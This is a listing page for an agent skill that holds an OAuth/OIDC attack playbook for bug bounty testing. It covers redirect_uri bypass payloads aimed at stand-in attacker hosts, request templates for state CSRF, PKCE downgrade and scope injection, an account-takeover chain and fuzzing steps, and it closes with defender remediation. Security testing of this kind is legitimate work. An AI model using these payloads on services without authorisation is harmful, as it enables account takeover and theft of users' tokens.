# OAUTH

> OAuth 2.0 / OIDC attacks — redirect_uri bypass, state CSRF, code leak via Referer, response_type confusion, PKCE downgrade, scope creep, ATO chains.

- Skill: `purpleailab/oauth` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/oauth`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/oauth/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/oauth

---


# OAuth / OIDC Attack Playbook

OAuth bugs are **the single highest-paying ATO vector** in modern bug
bounty. Every B2B SaaS has an OAuth surface; many implement it wrong.

## 1. Map the flow
```bash
# Discovery
curl -s https://target/.well-known/openid-configuration | jq

# Key endpoints to identify:
# - /authorize  (where redirect_uri/client_id/scope arrive)
# - /token      (where code exchanges for tokens)
# - /userinfo   (claims about user)
# - /jwks.json  (signing keys, see jwt/SKILL.md)
# - /revoke     (sometimes overpermissive)
```

Capture a normal flow in Burp. Note: `client_id`, `redirect_uri`, `state`,
`scope`, `response_type`, `code_challenge` (PKCE).

## 2. Attack surface

### 2.1 redirect_uri bypass
The #1 OAuth bug class. Server's allowlist regex is too loose:

| Bypass | Example |
|---|---|
| Path append | `https://target.com/callback/../../evil` |
| Subdomain wildcard | `https://target.com.evil.com/cb` (server matches `*.target.com`) |
| Userinfo trick | `https://target.com@evil.com/cb` |
| Path-traversal in fragment | `https://target.com/cb#@evil.com` |
| Open-redirect chain | `redirect_uri=https://target.com/known-redirect?to=evil.com` |
| Localhost / loopback | `redirect_uri=http://localhost:1337` (often allowlisted) |
| `data:` URI | `redirect_uri=data:text/html,<script>...` (rare but devastating) |
| Mixed-protocol | `http://` accepted where `https://` required |
| URL-encoded slash | `https://target.com%2Fcallback%2F@evil.com` |
| Different fragment behavior | `redirect_uri=https://evil.com#https://target.com/cb` |

Test ALL of these. `paramspider` + Burp Intruder w/ payload list = systematic.

### 2.2 State parameter missing / weak (CSRF)
`state` should bind the auth request to the user's session. Missing or
predictable state → attacker initiates OAuth in own browser, sends victim
the URL, victim clicks → attacker's account now linked to victim's identity.

```
GET /authorize?response_type=code
    &client_id=...
    &redirect_uri=https://target.com/cb
    &state=                          ← empty or predictable
```

### 2.3 PKCE downgrade
Public clients (mobile, SPA) SHOULD use PKCE. If server accepts
`code_verifier` omission for a flow that should require it:
```
POST /token
client_id=mobile-app
code=<stolen_code>
# Note: no code_verifier sent
```
Some servers fall back to non-PKCE flow → stolen code exchanges fine.

### 2.4 Code reuse / replay
Some servers don't invalidate codes after first exchange. Capture the
code (via referer leak, IDOR, log scrape) → exchange in attacker's
session for victim's tokens.

### 2.5 Referer leak of `code`
Some apps render auth-callback as a regular page that fetches resources
from third-party CDNs. The full URL (including `?code=...`) is sent in
`Referer` header to those CDNs. Attacker who owns / can compromise a
CDN link extracts the code.

Test: visit the callback URL, observe `Referer` to all third-party hosts.

### 2.6 Scope creep / mass-assignment in token request
```
POST /token
grant_type=authorization_code
code=...
scope=read write admin             ← inject elevated scope
```
Some servers honor a `scope` parameter at token-exchange time and don't
re-validate against original `/authorize` scope.

### 2.7 response_type confusion
The hybrid flow (`response_type=code id_token`) may behave differently:
- Server returns id_token in URL fragment (visible client-side)
- Then code exchange for access_token
- Sometimes the id_token validation is weak/skipped on response_type variations

### 2.8 client_id confusion
Some servers trust `client_id` as the only identifier. If two clients
share a redirect_uri pattern, you can re-use one's code as another:
```
client_id=trusted-internal-app
redirect_uri=https://attacker.com/cb (also allowlisted for trusted app!)
```

### 2.9 OAuth → Account Takeover chain
The classic ATO via OAuth:
1. Victim signs in to target via OAuth (Google/Microsoft)
2. Attacker finds open-redirect or XSS on target
3. Attacker crafts OAuth init URL w/ redirect_uri pointing to attacker via open-redirect
4. Victim clicks → server issues code → redirected to attacker's host w/ code in URL
5. Attacker exchanges code for victim's tokens → full ATO

### 2.10 Account-linking vulnerabilities
"Sign in with Google" can link a NEW Google account to an EXISTING email-password account if the server matches solely by email. Attacker registers `victim@target-mail.com` (a typosquat or sub-add), starts OAuth, links to victim's existing account.

## 3. Tools
- `oauthtoolkit` — Tom Hudson's automation
- Burp Pro OAuth flow scanner
- `oauth2-test` Python lib for fuzz
- ZAP Scripting (OAuth modules)
- Manual w/ Repeater (most flaws need careful semantic work)

## 4. PoC pattern
1. Capture normal flow
2. For each parameter (redirect_uri, state, scope, response_type, client_id, code_challenge), fuzz w/ Burp Intruder using the bypass list above
3. On any deviation (302 to attacker host, token issued with elevated scope, etc) — capture as evidence
4. Construct ATO chain: combine OAuth bug w/ open-redirect OR XSS for victim-clicks-link → tokens delivered to attacker

## 5. Severity calibration

| Bug | Typical |
|---|---|
| redirect_uri bypass on real client → code to attacker | Critical 9.8 (full ATO) |
| Missing state on social-login | High 8.0 (one-click account hijack) |
| Scope creep accepted | High 8.0 |
| PKCE downgrade on public client | High 7.5 |
| Code reuse accepted | High 8.0 |
| Open-redirect chain extension only | Medium 6.0 |
| Account-linking via email | High-Critical depending on impact |

## 6. Defender remediation

- Exact-match `redirect_uri` (case-sensitive, full URL, no path manipulation)
- Mandatory non-empty unpredictable `state` bound to session
- Invalidate codes on first use; short TTL (≤ 60s)
- PKCE required for ALL public clients
- Server-side scope validation: reject `scope` in token request that exceeds the original /authorize scope
- Never link OAuth identity to existing account by email alone — require explicit user confirmation

## Cross-references
- Upstream catalog: `skills/_corpus/payloads/OAuth Misconfiguration/`
- ATO chaining: `skills/exploit/web/ato-methodology/SKILL.md`
- Open-redirect chains: `skills/exploit/web/open-redirect/SKILL.md`

## Known exemplars
- Microsoft 2020: $50k OAuth ATO chain on Teams via redirect_uri
- Slack 2017: $4-8k bounties on multiple redirect_uri bypasses
- Github 2019: OAuth scope creep bug for $5k
- Frans Rosén's writeup on OAuth bugs (one of the best resources)
- Hackerone disclosure #341876 — Asana account-linking via email

